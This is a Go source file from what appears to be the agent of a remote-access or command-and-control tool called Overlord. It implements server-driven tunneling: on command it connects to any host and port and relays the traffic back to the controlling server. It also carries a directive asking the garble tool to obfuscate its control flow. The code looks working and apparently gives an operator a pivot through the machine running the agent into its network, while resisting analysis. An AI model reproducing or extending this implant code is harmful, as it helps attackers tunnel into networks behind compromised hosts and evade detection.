Files
overlord/Overlord-Client/cmd/agent/handlers/socks5.go
T

193 lines
3.7 KiB
Go

package handlers
import (
"context"
"fmt"
"log"
"net"
"sync"
"time"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
var (
tunnelMu sync.Mutex
tunnelConns = make(map[string]*tunnelConn) // connectionId → tunnelConn
)
type tunnelConn struct {
conn net.Conn
cancel context.CancelFunc
}
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
host, _ := payload["host"].(string)
portRaw := payload["port"]
var port int
switch v := portRaw.(type) {
case int:
port = v
case int8:
port = int(v)
case int16:
port = int(v)
case int32:
port = int(v)
case int64:
port = int(v)
case uint:
port = int(v)
case uint8:
port = int(v)
case uint16:
port = int(v)
case uint32:
port = int(v)
case uint64:
port = int(v)
case float32:
port = int(v)
case float64:
port = int(v)
}
if host == "" || port <= 0 || port > 65535 {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: connID,
OK: false,
Message: "Invalid host or port",
})
}
target := fmt.Sprintf("%s:%d", host, port)
goSafe("tunnel-dial-"+connID, nil, func() {
targetConn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[tunnel] failed to connect to %s: %v", target, err)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: connID,
OK: false,
Message: fmt.Sprintf("Connection refused: %v", err),
})
return
}
tunnelCtx, tunnelCancel := context.WithCancel(context.Background())
tc := &tunnelConn{conn: targetConn, cancel: tunnelCancel}
tunnelMu.Lock()
tunnelConns[connID] = tc
tunnelMu.Unlock()
// tell the server we connected successfully
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: connID,
OK: true,
Message: "Connected",
}); err != nil {
targetConn.Close()
tunnelCancel()
tunnelMu.Lock()
delete(tunnelConns, connID)
tunnelMu.Unlock()
return
}
defer func() {
tunnelCancel()
targetConn.Close()
tunnelMu.Lock()
delete(tunnelConns, connID)
tunnelMu.Unlock()
_ = wire.WriteMsg(ctx, env.Conn, wire.ProxyClose{
Type: "proxy_close",
ConnectionID: connID,
})
}()
buf := make([]byte, 32*1024)
for {
select {
case <-tunnelCtx.Done():
return
default:
}
n, err := targetConn.Read(buf)
if n > 0 {
data := make([]byte, n)
copy(data, buf[:n])
if writeErr := wire.WriteMsg(ctx, env.Conn, wire.ProxyData{
Type: "proxy_data",
ConnectionID: connID,
Data: data,
}); writeErr != nil {
return
}
}
if err != nil {
return
}
}
})
return nil
}
func HandleProxyData(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
tunnelMu.Lock()
tc, ok := tunnelConns[connID]
tunnelMu.Unlock()
if !ok {
return nil
}
var data []byte
switch v := payload["data"].(type) {
case []byte:
data = v
case string:
data = []byte(v)
default:
return nil
}
if _, err := tc.conn.Write(data); err != nil {
tc.cancel()
return nil
}
return nil
}
func HandleProxyClose(ctx context.Context, env *runtime.Env, connID string) error {
tunnelMu.Lock()
tc, ok := tunnelConns[connID]
if ok {
delete(tunnelConns, connID)
}
tunnelMu.Unlock()
if ok {
tc.cancel()
tc.conn.Close()
}
return nil
}
func CleanupAllTunnels() {
tunnelMu.Lock()
defer tunnelMu.Unlock()
for id, tc := range tunnelConns {
tc.cancel()
tc.conn.Close()
delete(tunnelConns, id)
}
}